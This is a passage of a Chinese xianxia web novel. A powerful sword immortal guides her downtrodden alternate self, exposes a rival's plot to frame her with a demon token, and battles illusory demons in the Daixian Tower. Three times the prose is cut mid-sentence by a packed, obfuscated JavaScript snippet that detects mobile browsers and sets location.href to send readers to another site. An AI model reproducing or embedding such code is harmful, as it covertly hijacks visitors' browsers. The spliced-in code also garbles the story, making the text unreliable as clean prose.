他中了符,却毫无察觉,继续飞到傅不辞身边复命:“启禀花心骚孔雀,已经把那个碍事的蠢女人赶走了。” 周围一片可怕的死寂,所有人转头看向他,有惊讶愕然的,也有看好戏的。 傅不辞缓缓回头,眼神冰冷:“汪行,你说什么?” 汪行面露惊恐,慌张道:“我怎么把心里话说出来了,这样会毁了我的……不是不是,可怕的骚孔雀,我我我我的嘴不听使唤了!” 汪行脸上的表情比哭还难看,浑身抖如筛糠。 傅不辞冷冷道:“岑岭,查查他中了什么邪。” “是!” 傅不辞身旁一个气度不凡冷面如玉的男子领了命,凌空稳稳走向汪行,开启灵眼,只看了一眼便道:“启禀盟主,汪行身上有一张吐真符。” 周围的风更冷了,几百人鸦雀无声,或嘲讽或怜悯地注视着汪行,也有一些人看向了已经逐渐飞远的金玉比翼鸟。 比如宁长康,他和岑岭同为下属于傅不辞的六仙侍,外号“病棋手”,但与修为高超且耿直的岑岭不同,他修为不佳,体弱多病,却极善谋略,凭此得到傅不辞的信任和重用。 此时他一边艰难咳嗽着,一边饶有兴趣地打量着远去的金玉比翼鸟。 还有几个仙盟精英私下窃窃私语:“他刚才还好好的,难道是朝夫人下的手?” “不可能是她吧?她有这本事?” “但是汪行刚才还没事,就是从找她之后变的。” “这倒是真……” “这事不好说,但最近还是少惹朝夫人吧。” “同意。” “有道理。” 傅不辞也看了眼那只他许久不见的比翼鸟,随后却不屑摇头,下令:“废除汪行全部修为,逐出青云仙宫,全仙宫搜查下符之人!” 即将降落到地面的金玉比翼鸟上,另一个朝渡扶着亭子围栏笑到喘不上气,笑出了泪花:“太痛快了,这些阴奉阳违的家伙欺负了我这么多年,现在终于自食恶果了!” “这才哪到哪。”朝渡悠悠道,“走吧,去挑把趁手的剑!今天就开始修炼!” “好!”另一个朝渡也提劲了。 两人飞下金玉比翼鸟,另一个朝渡将它收起,忽然听到庭院门口传来一阵喧闹声。 一个侍女慌张跑来:“夫人!苏仙侍来了,说要搜查咱们琴瑟宫!” 4. 奸细 “什么?苏柔蕊过来了?还要搜查这里?!”另一个朝渡惊愤地向宫门口看去,一个婀娜纤细的身影出现在那里。 美人眉目缱绻多情,衣衫轻薄,走起路来摇曳生姿,步步落花,她的声音更是甜美动人:“见过朝夫人,仙君要全宫搜查可疑之人,夫人这里也得搜查,还望夫人莫要见怪。”语气还算恭敬,却没有行半点礼。 另一个朝渡紧张地看了眼朝渡,朝渡安抚她:“没事,除了你没人看得见我,或者听得到我说话。” 随后朝渡却自己叹了口气,面色沉重了些许:眼前这个苏柔蕊的灵力气息,与她熟悉的苏刺,一模一样。 她又是经历了什么?那位“无怜重剑”,如今竟是这般柔弱可怜的模样。不见利刺,只余柔蕊。 “夫人在看什么?”苏柔蕊笑吟吟地问,目光扫过朝渡的位置,却毫无收获,只得又收回,“夫人愿意配合仙君的话,那我的人可就进去了。” 另一个朝渡面色难看,朝渡听到她心中十分纠结:虽然不怕她查出什么来,但是不想让她进。 ‘凭什么她来搜查我?她有什么资格来搜查我?!她凭什么代表他?!’朝渡听到另一个自己愤怒地在心中质问,说出口的却只是:“我这里自己搜查,不用你来。” 但朝渡已经甚感欣慰了:至少没有一味顺从,糯米团子比刚才支棱不少。 苏柔蕊却纹丝不动,笑容更深:“此事繁琐复杂,不敢劳夫人费心,而且仙君命我管理青云仙宫内务,于情于理都该由我负责此事。” 朝渡能感受到另一个自己咬牙切齿,却不知该找什么理由继续拒绝。 “你就说,她搜可以,但可疑之人必定狡诈,她身边那些要进这里搜查的人,得由你先验一下。” 朝渡刚才就在打量苏柔蕊带过来的人,随后她的视线锁在一个侍女身上,这个侍女神色不是很自然,眼睛一直在滴流乱转。 朝渡微笑:“她身边的人里,或许藏了个惊喜。” 另一个朝渡眼睛一亮,原话复述,朝渡看到那侍女果然浑身一僵,神色紧张地看向苏柔蕊。 苏柔蕊的笑容也冷了一瞬,随即很快复原,她笑得愈发甜美:“朝夫人是信不过我身边的人了?” 朝渡继续当军师,指挥道:“用她的话堵她,就说,‘都是为了给仙君分忧,苏仙侍一定会配合一下的吧?而且灯下最容易黑,万一这可疑之人就混在搜查之人里,别说找不到,怕是还要闹出些新麻烦,到时候更是打扰到仙君,我这都是为了仙君。’哎,说起来他还没成仙呢,怎么都开始称他仙君了?这句话不用复述。” 另一个朝渡把除了最后一句的话都复述出来,那侍女更是频频看向苏柔蕊,眼中有藏不住的惊慌。 苏柔蕊的笑意深长了几分:“朝夫人今日,好似不大一样。” “哪里哪里,主要是想帮夫君分忧,苏仙侍,你该不会怕了吧?”另一个朝渡冷笑,腰杆子比刚才又挺直了些。 “怕什么,朝夫人既然有心,那就来搜搜,只是耽误的时间,我不得不如实向仙君禀报了。”苏柔蕊掩唇娇笑。 朝渡见另一个朝渡竟又有些犹豫,无奈道:“不用怕,她只是在吓你,让你的人去搜。” 另一个朝渡壮了胆,指挥自己的人去搜。 片刻后,却什么都没搜出来。 苏柔蕊微微扬头:“朝夫人,这下你可以放心了吧?嗯?” 另一个朝渡有点无措地看向朝渡,朝渡不急不慢道:“别看我,把头扭回去,别急嘛,这不是还有重头戏没搜。” 朝渡伸手指向那侍女的手腕:“一个普通侍女,哪来的储物镯,而且那镯子还被特殊处理过,修为不够的人看它就只是个普通镯子,去搜吧,指定有惊喜。” 另一个朝渡学着朝渡的动作,伸手指向那侍女,冷笑道:“去搜她的镯子!” 苏柔蕊一愣,站直了腰,声音的笑意淡了大半,眼神也冷了下来:“朝夫人,刚才可是什么都没搜出来啊,现在还想搜什么?哪怕她只是个侍女,也是我的人,容不得别人欺负的。” 另一个朝渡毫不退让:“苏掌事莫非心虚了?只是看看她的镯子而已,怕什么?难道苏掌事知道那里面藏了什么见不得人的东西?” 苏夫人微微咬唇,转身就想走:“既然朝夫人执意不肯配合,还要为难我的人,那就只好劳烦朝夫人自己好好搜查琴瑟庭了。” “机会难得,别轻易放过她。”朝渡忽然抬手扣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577571|187168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住另一个朝渡的手,举起,又引一缕灵力,将那侍女手腕上的镯瞬间吸到了另一个朝渡的掌心中。 朝渡没等对面反应过来,握着另一个朝渡的手,又引一缕灵力穿过她的手指,将那镯子径直捏碎! “不要——!”侍女面如死灰发出一声惨叫。 另一个朝渡看着手中残损的镯子碎片以及躺在碎片中间的令牌状东西,愕然:“这上面竟有魔气,这是,魔尊信物?!” 霎时,满院惊呼声此起彼伏。 另一个朝渡浑身微微颤抖,显然意识到了这东西的用途以及对方的险恶用心,她怒睁双眼,嗓音发颤,厉声质问:“苏柔蕊,你想拿它放到我的院里污蔑我,给我安上一个私联魔尊的罪名?!” “……跟我何干?!来人,把这奸细扣下来,交由掌刑长老处置!”苏柔蕊冷声道,命人捆起那侍女,带着人就想离开这里。 朝渡提醒:“别让她离开。她一走,这‘魔族奸细’要么死在路上,要么死在掌刑长老手里,那掌刑长老必是她的人。她想把事压下,把自己摘出去,你就把事闹大,把她拉进来。” 另一个朝渡连忙令自己的人将她们围起来。 在苏柔蕊的森冷注视里,另一个朝渡长长地吐了口气。 朝渡十分欣慰,感觉像看到糯米团子终于长出了利齿,虽然只是小小的两颗,但已经有进步了。 “怎么,朝夫人是连掌刑堂都信不过了?”苏柔蕊笑得难看,“还是说朝夫人想坏了青云仙宫的规矩,自己当次掌刑长老?” 朝渡收到另一个自己的求援目光,提示道:“这青云仙宫里最大的人可不是掌刑堂的长老吧?” 另一个朝渡瞬间恍然,定了定神道:“这件事非同小可,当然是得交由仙君亲自处置!来人,去请仙君!不,仙君日理万机,还是我亲自带人过去!” 朝渡:“……”她还是忘不掉他,一有见他的机会,迫不及待地就想飞过去。 一群人乌泱泱地飞上空中,朝渡根本不想参合这种热闹场面,又怕以另一个自己目前的手段盯不住那“奸细”,还是无奈地随她一起去了。 “夫君!” 隔着老远,另一个朝渡就迫不及待地唤傅不辞。 5. 傅不辞 那人连头都没回,另一个朝渡微微失望,但御风速度不减,待得飞到他身边,又热切开口:“夫君你快看,我抓了个魔尊派来的奸细!” 傅不辞终于回头,瞥了眼她带来的“人证”“物证”,眉头微蹙,视线扫过苏柔蕊时停顿了一下,随后冷冷开口道:“这不是我要找的,交给掌刑堂处理就行。” 另一个朝渡呆在原地。 傅不辞又看向苏柔蕊:“蕊蕊,继续搜,引起这雷劫的人修为难测,不可小觑,还极有可能是冲着青云仙宫来的,必须尽快把他搜出来!” “是,谨遵仙君之令。”苏柔蕊柔柔地行了个礼,晃着柳条般的腰肢,带着“魔族奸细”离开。 朝渡同情地看向面色惨白的另一个自己,拍了拍她的肩。 另一个朝渡不甘心道:“不能让她走!她跟那个魔族奸细有关!” “你也离开吧。”傅不辞看都没看另一个朝渡一眼,冷淡道,“最近我忙,你别来添乱。” “添乱……哈,添乱……”另一个朝渡喃喃着,嘴角扬了上去,泪水却落了下来。 傅不辞终于看了她一眼,眉峰微蹙,嫌弃之情不言而喻,随后他挥袖离开,只留下一句:“送她回去。” 他身边的两个侍卫走向另一个朝渡,行了个抱拳礼:“夫人,仙君还要继续研究天雷,还请您先回去吧。” 另一个朝渡呆呆地、痴痴地、绝望地看着他的背影,纹丝不动。 朝渡心中不忍,将手掌搭在她的肩上,送入一缕帮助她清心凝神的灵气,轻声道:“先去找剑吧。” “好……”另一个朝渡哭声渐消,抬袖擦了擦泪,视线却仍锁在他身上,忽然,她喃喃道,“你说,他是太偏心苏柔蕊?还是,他知道这事是苏柔蕊干的?” “属下不知!”两个侍卫拼命低头,恨不得把自己耳朵割了。 “不好说。”朝渡扫了眼那两个侍卫,轻叹,“别在这里谈,换个地方。” “……走,我们去待仙塔。”另一个朝渡失魂落魄地转过身,御风离去,留下两个侍卫面面相觑。 他们小声议论: “她刚才是不是说了‘我们’?” “是叫咱俩吗?感觉不太像啊。” “但是这哪有别人啊?” “……是不是朝夫人的脑子出了点问题……?” “大概是吧,看着怪可怜的,唉,别人都说咱们仙君痴情,但你看朝夫人这些年过的什么日子……” “嘘,快别说了,你也想被废除修为赶出仙宫?” …… 建在万剑山鸣剑峰顶的待仙塔,塔身共有九层,由玄玉石垒成,形制古朴庄严,如一柄巨剑,傲然立云巅。 立于塔前,隐约可见鹰隼逐云之孤影,可闻白鹤幽鸣之回声,可感神兵藏匣之不甘。 塔左右还立有两柄巨大石剑,一个剑尖指天,一个剑尖指地,隐有太极轮转之意。 另一个朝渡看了看门口,面露难色:“太久没来这里,我忘了,这边虽然没人守,但是门口布了两重阵法,外阵我有特制的‘行云令’,可去青云仙宫与仙盟的任何地方,应该能进去,这令牌还是他当年送我的,全天下只有我跟他两个人有……也许是因为他当年很爱我,也许是因为他那时候需要我替他办事……” 另一个朝渡说着说着就陷入回忆,取出翡翠质地的令牌,抚摸着它怔怔落下泪来。 朝渡轻叹一声,拍了拍她的肩。 另一个朝渡喃喃问:“人为什么能变化这么大?” 朝渡指了指待仙塔:“你也可以变化很大,从拥有一把自己的剑开始。” 另一个朝渡一声苦笑:“我变化了,有剑了,就能重新得到他的心吗?” 朝渡:“……实话讲,不一定,但至少能让他的眼睛重新看到你,让他重新重视你,不过比起这个,我更希望你能看到天地间的更多风景,这天地如此辽阔,风景如此壮丽精彩,何苦只把目光落在一个人身上?” “看到我,重视我……这样也足够了。”另一个朝渡擦了擦泪,看起来振作了些。 朝渡闭了闭眼,后面半句她是完全没听见啊。 另一个朝渡再次抬头看向待仙塔,发愁道:“然后是内阵,就是那两柄巨石剑中间的那个,非得破了这阵法才能进入待仙塔。而且破得了多少层,待仙塔才会开启几个楼层,每个楼层的考验都挺难的……其实倒也不一定来这,不辞他有个私库,我能进,里面东西都是他这些年搜集的宝物,应该会有些好剑,但是我现在有点不想去跟他相关的地方……” “没事,那就这,也不麻烦。”朝渡甩掉刚才的无奈,抬头望着黑色玉塔,目露怀念之情,“这是我第二次来,我还记得,九层阵法对应九层塔,若是破了第十层阵法,将会集塔中所藏百千神兵之力,昭告天地众生:剑仙出世,剑昭日月,百邪退散,天下清平。” “你破过第十层阵法吗?”另一个朝渡满怀期待地问。 朝渡遗憾摇头:“没有,上次来这里时还是普通弟子,修为还不够高,只到得第七层。后来修为倒是高了,不过没再来过,毕竟没打算换其它剑。” 另一个朝渡望向三柄巨剑组成的剑阵,目光中透出几分跃跃欲试:“那这次试试?我还没进过这里呢。” “试试。”朝渡颔首,“不过天道压制了我的力量,结果不好说。要不来猜猜看,我能到第几层?” 另一个朝渡沉吟:“有天道压制的话真不好说啊……但我还是想猜第十层。” 朝渡看向她,她听到了另一个自己在心中道:“我永远到不了的高度,我希望她能到达。” 朝渡沉默片刻,张开右手,掌中浮现墨玉长剑,她微笑道:“一起去看看第十层吧。”想想法子,这次一定得到第十层。 但她刚走一步,又忽然停下来,看向手里的千钧剑,放轻声音问:“你好像有点紧张?怎么了?嗯?如果第十层有更好的剑会不会换掉你?哎呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577572|187168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你要有自信,你是最好的剑。” “当年到了第七层选了新剑差点换掉你?那不是感觉去都去了哪能空手回,就随便挑了一把,而且结果不是没换嘛,还发现你是我最喜欢看着最顺眼用着最顺手的剑,总之不会换的!” “好好好,答应你,这次到第十层也不挑新剑了。” 另一个朝渡看着她对手里的剑哄来哄去,努力忍着不让自己笑出声来。 等朝渡终于把剑安抚好,另一个朝渡逗它道:“你有点难哄呀。” 剑身雷光陡然暴涨,仿佛一只小狗炸了毛。 朝渡连忙道:“哎哎别说它坏话,要不然还得哄,啊没有嫌弃你的意思,你不难哄不难哄……真的真的!” 剑身雷光终于平息了。 另一个朝渡也终于没忍住笑出了声:“有它在身边,确实不无聊。” 朝渡也轻笑:“是吧。走,这待仙塔都有什么花样。” 墨玉长剑微微震颤,剑身中雷光闪现,还隐有龙吟之声传出,似已迫不及待。 朝渡持剑轻松翩然地踏入外阵。 她身后另一个朝渡惊讶问:“你不需要行云令也能进?!” 朝渡:“唔,这个阵法大约没想起要挡住一缕风?” 两人一同走到两柄巨大石剑的中间,周围场景瞬间变幻。 一轮巨大的红月悬于空中,它看起来仿佛距离地面很近,亦像一枚猩红的瞳孔,盯着地上人的一举一动。 朝渡看了眼天空:“哦?在这阵法里,天道对我的压制似乎还少了些。不过这月亮应该是颗眼睛吧?” 她忽然对着红月挥出一道剑气,月亮上隐约泛起了一层波澜,似乎有什么隐形的东西碎了。 朝渡满意点头:“这样塔外的人就看不到里面的情况了。” ………… 与此同时,仙盟处理盟内众事的“仙海厅”中,一枚代表待仙塔的玉简从墙面上浮了出来,这代表待仙塔“开塔”了。 值班的仙盟中人发现不对劲,连忙捧着这枚玉简,带上血月镜,一同呈送给了负责主管仙盟内诸事的副盟主游藏,她亦是傅不辞的六仙侍之一。 “有人进入了待仙塔?”游藏讶然。 捧来玉简的人恭敬道:“是,但今日并非开塔日,而且没有收到任何开塔的通知。” 游藏并不焦急,从容安排道:“开启血月镜,看看是谁进入了塔。” 来禀报的人又捧出镜子,发愁道:“这镜子今天不知为何,竟然打开不了!” “血月镜坏了?!”游藏蹙起眉头,神色立刻严肃起来。 她沉思片刻道:“上面那位如今忙于天雷,怕是没空管此事,不过待仙塔在这个节骨眼上突然开启,还有镜子损坏,实在蹊跷……这样,还是派人去请示盟主此事,看他打算怎么处理,同时派几个人去待仙塔附近,他们进不去待仙塔,但一定要盯死了,看清楚是谁从待仙塔里出来的。” “是!” 6. 待仙塔 朝渡提剑打量四周:红月当空,猩红的月光照出残破城墙上血迹斑斑鬼气森森的“锦绣城”三字。 从城门看去,可窥见城内尸山血海,残骸断剑满地。 另一个朝渡站得离她更近了点,不安道:“可能是因为阵法的原因,我的防御法器全都失效了,这里好吓人……锦绣城?这里是锦绣城?!这是多年前魔修突袭锦绣城时的场景?!” 朝渡神色复杂地望着残破城门,沉默地点了点头。 那是相当可怕残忍的一场大战,魔修突袭,修仙者措手不及,而且锦绣城内的修仙门派擅长的不是除魔,而是衣食住行相关的各种技艺。 比如朝渡曾经所在的仙衣阁,擅长织布刺绣制衣,接各门派订单为各门派定制门派专属仙衣,名声远扬,但在面对凶残的魔修时几乎毫无还手之力。 朝渡一闭眼就能想起那可怕的一战:她当时不在仙衣阁,而是在山海派学剑法,当她接到谢路遥的求救消息立刻赶来时,血色已染遍全城,无数哭声惨叫混着魔物的嘶吼刺痛耳膜。 另一个朝渡显然也回忆起了那一战,恨恨道:“那些可恶的魔修突袭进城杀了我们好多人,我收到传信立刻赶回去,城里那些魔修还没走,我差点死在那里,我对战魔蛇王精疲力尽时,不辞他忽然出现在我身前横剑替我挡下魔蛇王的獠牙,我永远忘不了那一瞬……” 朝渡:“……” “那时候我还没跟他在一起,跟他甚至不算太熟。”另一个朝渡的思绪逐渐飘远,“他却冒着那么大的危险救我,把重伤的我带出了城,他原本真的是个很好的人,你知道吗,他那时候白衣染血,但是眼睛比他的剑锋还明亮……” 眼见对方的回忆没个头了,朝渡轻咳一声,提醒道:“先看眼前的剑阵吧,快开始了。” “啊,好。”另一个朝渡不好意思地笑了笑,“老是忍不住想起那时的他……对了,这里的幻阵为什么会是锦绣城?我记得他当年闯阵,幻阵还是无休城之战呢。” 朝渡回忆了片刻,颔首:“我当时闯的也是冥明城之战。” 那是百年前仙盟在魔修老窝冥明城内除魔卫道的一场大胜仗。仙盟为了纪念这场摧毁魔修老巢的大胜仗,将它设置成了待仙塔的层层幻阵,也让每个后来者铭记修仙者除魔卫道的使命。 朝渡寻找更多的记忆:“在我那边的世界里,是后来仙盟决定更换的,为的是警醒后来的弟子,魔修邪道尚在,永不可懈怠。你们这边大概也是相似的缘由吧。走吧,再来会会这些魔。”朝渡提剑走入城门内。 城内之景更是惨不忍睹,放眼望去找不到一座完好的房屋,空中弥漫着腥臭的味道,到处都是血肉模糊的残骸断肢。 另一个朝渡弯腰想干呕,又强行忍住:“经历了锦绣城之战后,我做了很久的噩梦,没想到今天又见到了,遥遥也死在这里了……我当时拼尽全力也没救下她和仙衣阁的那些人。” 朝渡沉默片刻,轻拍她的肩:“没事,尽力了就行,她们在我那边的世界活得很好。” “……你怎么做到的?”另一个朝渡愕然抬头望向她,只见白衣的仙者静静站着,像一盏清亮剔透的灯,在浑浊猩红的世界照出一方净土。 三只壮硕如小屋的鼠型魔兽红着眼睛,嘶吼着向“净土”逼近。 “一会再说吧,先解决眼前的麻烦。”朝渡与另一个自己本是并肩而立,此时朝渡向前一步,将另一个自己护在身后,随后横剑轻轻挥出一道剑光,仿佛掷出了一枝沾着露水的桃花。 沾露“桃花”轻快飘逸地落到了三只魔鼠身上。 它们又嘶吼着奔跑了几步,忽地散成了切口整齐的六块,倒在了“净土”之外,安息在白衣剑仙身前。 另一个朝渡目瞪口呆。 随着红月飞快地阴晴圆缺,又有六只身着铠甲的巨大魔狼涌了上来,速度极快地冲向两人,迎接它们的仍然只是“一枝桃花”。 “桃花”翩然过处,落英散了满地,浓稠的血腥味如花香扩散开来。 它们威风凛凛沾满鲜血的铠甲在“桃花”面前仿佛纸糊的。 “太强了……”另一个朝渡震惊喃喃道,“傅不辞都做不到这种程度,你真的是仙,如此剑光只有仙人才挥得出来……这是什么声音?窸窸窣窣的,难道是……蛇?!” 朝渡微微颔首:“嗯,魔蛇群。” 另一个朝渡没忍住又一声干呕,痛苦道:“我想起来了……当时那些蛇爬的满城都是,到处咬人吃人,这里居然还原得那么真。” 朝渡轻拍她的肩,送入一缕安神的灵力,与此同时,无数条魔蛇从四面八方涌了上来,最细的也有水桶粗,最粗的一条魔蛇得有十数人合抱粗细,它不急着进攻,反而沿着周围悠哉盘旋向上,竟隐有遮蔽血月之意,身形仿若一座小山。 另一个朝渡倒吸一口凉气,克制不住地战栗颤抖:“是魔蛇王!它吞了路遥还有仙衣阁好几个人!刀剑都穿不透它的鳞片,它的牙还有剧毒!” 朝渡的眼睛却灼灼如星:“当年没机会杀了它报仇,在这里倒是能补上遗憾。” 另一个朝渡愕然看向朝渡,逐渐镇定下来,喃喃道:“也是,你应该能杀了它,但是这么多蛇,一道剑气够吗?啊它们围上来了!” 朝渡微笑:“这次不用剑气,有个更好的法子。” 魔蛇群攻上来了,另一个朝渡想往后退,却发现后方也被魔蛇包围了。 无路可逃,无路可退! 朝渡把手搭到她肩上,脸上带着令人镇定的从容微笑:“放心,它们近不了身。” 她徐徐举起墨玉长剑,剑尖朝上,剑身上有细碎的雷电光芒迫不及待地闪动。 “对了,记得闭眼。”朝渡的声音仍是懒懒散散的,但她一贯悠闲惬意的目光已经变得锐利如剑。 “要开始了——雷起!” 墨玉长剑周身光芒大盛,雪白磅礴的雷光骤然而起,亮到刺眼,令人不敢直视。 道道雷光如龙群腾空狂舞,激烈地闪烁着,照得整片天地时明时暗,连血月都黯然失色。 雷光还未从半空落下,这群魔蛇竟已疯狂向后撤去。 “它们居然这么怕雷!”另一个朝渡完全没闭眼,哪怕眼睛被雷光刺得生疼流泪,她也不想错过朝渡用剑的每一瞬。 也许是因为这些瞬间,本来也该她拥有的,如今却错过太多太多。 朝渡用空出来的一只手,凝了些灵力,点在她的眼睛上,帮她能够在剧烈闪烁的雷光中视物,顺带解释道:“这可不是一般的雷,而是考验淬炼飞升之人的天雷,至净至纯至阳,正是此等邪物的克星。当时我飞升渡劫时,我和千钧剑一起在雷中撑过了八十一道天雷,也被淬炼了八十一次,当撑过最后一道雷成功飞升时,发现部分天雷已融合到了我和千钧剑之中,成为了我力量的一部分。说起来,如果不是因为这份力量与我融合,说不定这个世界的天雷会直接把我劈成灰。” 另一个朝渡目光满含赞叹,亦盛满羡慕,眼角隐隐有泪光。 朝渡谈笑间,千万道天雷随着她的剑尖劈落,洗浊世,诛邪魔,留天地清宁,连血月的光竟都变得澄澈如雪。 当雷光停下时,只余满地灰烬,在澄澈如雪的月光下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577573|187168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静静消融。 哦,还有一条巨大的疯狂逃窜的背影。 另一个朝渡被震撼到说不出一句话来。 朝渡轻叹:“天道限制了我的力量,要不然刚才能把那条魔蛇王一起劈死。当年我遇见那条魔蛇王时若是有这力量就好了,就能救下更多人了。” 说话间,朝渡御风而起,遥遥看向那已经逃窜了一条街的魔蛇王。 她微扬嘴角:“逃得挺快,不过逃不掉的。” 她挥下一道剑光。 这道剑光仿佛由月华凝成,皎洁明亮更甚空中那轮月,速度之快势头之猛更甚飞鹰利箭,瞬息后正好落在那魔蛇王的“七寸”上。 魔蛇王轰隆倒地,将旁边几座残屋彻底压塌。 另一个朝渡深深被震撼到了:“太强了,连那条魔蛇王都不够看的,只需一剑……但第三层都这么难了,如果不是你,其他人怕是要止步于此了,嗯?那轮血月又开始变化了,这意味着新关卡开始了?” 朝渡落到她身边,点头:“血月每经过一轮阴晴圆缺,就会开始一层新关。” “哎?没见魔物啊?”另一个朝渡左顾右盼,愈发疑惑,“魔物在哪?” “如果你是自己来的话,现在已经输了。”朝渡用指尖又点了一下她的眼睛,助她开启灵视,“再仔细看看。” “我要是自己来的话已经止步第一层了……这是!好多小虫子!”另一个朝渡惊呼,“好小好细的虫子!密密麻麻的!我们旁边是你撑起来的灵气罩?” 朝渡:“没错。这是傀儡蛊虫,喜食脑髓,食后可操纵中蛊者,而且哪怕中蛊者已经死了,只要脑袋还在,就还能被它操纵。” 另一个朝渡愕然:“太可怕了!我想起来了!不辞把我救下来带出城后,魔修放了这些蛊虫来对付支援的修仙者,听说又死伤一大批人……不辞后来还感谢过我,说要不是为了救我提前离开了锦绣城,他也得死在那,不过我还记得他救我后说过一句‘情况不对劲’,可能是他已经察觉到什么才要提前走的吧……话说你这灵气罩可靠吧?” “你说呢?”朝渡失笑,“别怕,这里出现的一切都是幻象,你真中了蛊虫也不会出事,只是待仙塔只会开启到第三层而已。” 另一个朝渡长松一口气,问:“那该怎么解决掉这些恶心的虫子?” 朝渡扫了眼周围密度极高的蛊虫,双手徐徐抬起:“我的灵力中有天雷之力,可克百邪,自然也包括它们,它们想尝尝咱俩的脑髓却畏惧我的灵力不敢向前,只敢环绕在周围,那我就只好主动找它们了。” 下一瞬,她周身灵力猛涨,精纯的澎湃的灵力如潮水般向周围涌去,一瞬出,一瞬收,灵力过处,无数蛊虫如细雨般落下,在地面铺了密密麻麻的一层。 “万物有所长亦有所短,傀儡蛊虫入脑后十分棘手,但它们入脑前相当脆弱。”朝渡收回手,一席白衣纤尘不染,恍然间仿佛天上有血月,地上有雪月。 血月又经一轮阴晴圆缺,雪月静谧从容似亘古不变。 另一个朝渡望向身边之人,神色复杂难言:羡慕,嫉妒,怅然,仰慕……连她自己都说不清楚。 “你当年一直在锦绣城里留到了蛊虫出现?”另一个朝渡怀着说不清的心情问。 朝渡颔首:“遥遥那时伤得很重,仙衣阁和其它门派也有很多伤员,我没法带着那么多人离开,干脆就守在那里,想着等更多支援过来就能彻底逆转战局了,但没想到……” 忽然,一阵诡异的“咔嚓”声响起。 朝渡轻叹,目光暗沉了些:“来支援的人几乎全军覆没。” 7. 阴兵 另一个朝渡倒吸一口凉气。 朝渡再次叹息:“谁都没想到会有如此大规模的傀儡蛊的出现,而且后面还有……” 她们的身边忽然出现了些人影。 这些人影有男有女,大多身受重伤,身上的衣服被血染成深红色,他们连站都站不稳了,有的已经匍匐倒地,只剩手指抽搐着挣扎着,不肯松开手中的剑。 他们原本穿着各自的门派服装,但此时被鲜血浸透,已经根本分不清所属门派。 忽然,这些人齐刷刷地扭头,双眼变成猩红色,两只眼球不同步地在眼眶中乱转,仿佛某种虫类的触角,有的甚至转着转着掉了下来…… “啊!”另一个朝渡一声惊呼,紧张害怕地抓住朝渡的袖子,“他们这是什么情况?!” 朝渡目含怜悯:“他们中了傀儡蛊,当时很多来支援的修仙者都中了傀儡蛊,一些侥幸没中蛊的人看到自己的同伴变成这副模样也崩溃了。” 随着她的声音,连原本倒在地上仿佛幻境之“景”的人也纷纷抬起头,瞪着猩红乱转的双眼,扭动残损的肢体,以诡异扭曲的姿势或站或爬,向她俩袭来。 无论死生,一旦中蛊,都会成为蛊师的傀儡,直至脑中蛊虫被毁。 朝渡声音低低的:“这些人变成傀儡后,不知疼痛躲闪,只知攻击,很多修仙者从没见过傀儡蛊,不知该怎么对付,也找不到藏在人群中的傀儡蛊师,最后,第一波进来支援的修仙者几乎全军覆没,当时遥遥让我别管她了赶紧走,但是遥遥身受重伤,还有那么多伤员,我若是走了她们再无活命的希望了。” 另一个朝渡神色震动,喃喃道:“然后你真的留在那里了,真的把她们救下来了……如果我当年没有跟着傅不辞先撤退……可是遥遥在我遇见魔蛇王的那时候已经没了……我那时候为什么救不了她?!我为什么比你迟了一步?!如果我能救下她们,会不会一切都不一样?!” 朝渡看向另一个情绪低落的自己,她能听到另一个自己的心音越来越繁杂,心境越来越茫然,竟隐有道心破碎的征兆。 “冷静点!”朝渡轻拍她的肩膀,注入安神的灵力,温和安抚道,“都过去了,你那时候也尽力了,往前看。” 那些面目可怖的修仙者傀儡已经奔袭到很近的距离,朝渡转过头,目含怜悯与敬意,轻声道:“诸君,请安息吧,我会替你们报仇的。” 狂舞如龙的雷光再次洗刷这片血色天地。 那些被蛊虫控制的傀儡只会进攻不会防御,且邪气阴气缠身,一遇至纯至阳的天雷便在顷刻间消散。 雷光平息时,天空中的玉盘暂时恢复了雪白,皎洁静谧的月光落在地面的余烬上,仿佛刚下了场安宁的雪。 但眨眼间,雪消散月染红,那轮月又开始圆缺变化了。 ……………… 与此同时,仙盟副盟主派去请示盟主的人找到了傅不辞。 傅不辞招来了几个门派历史悠久,关于天雷经验丰富的掌门和长老,正在研究方才的天雷,听了来人的恭敬禀报,他剑眉微拧:“这么巧?” 这边天雷刚散,那边待仙塔又启。他直觉这两件事中藏着某种联系。 谁不知道待仙塔藏着修仙界最顶级的神兵利器? 那人能引来如此浩荡的天雷,却缺乏一柄趁手的神兵利器吗? 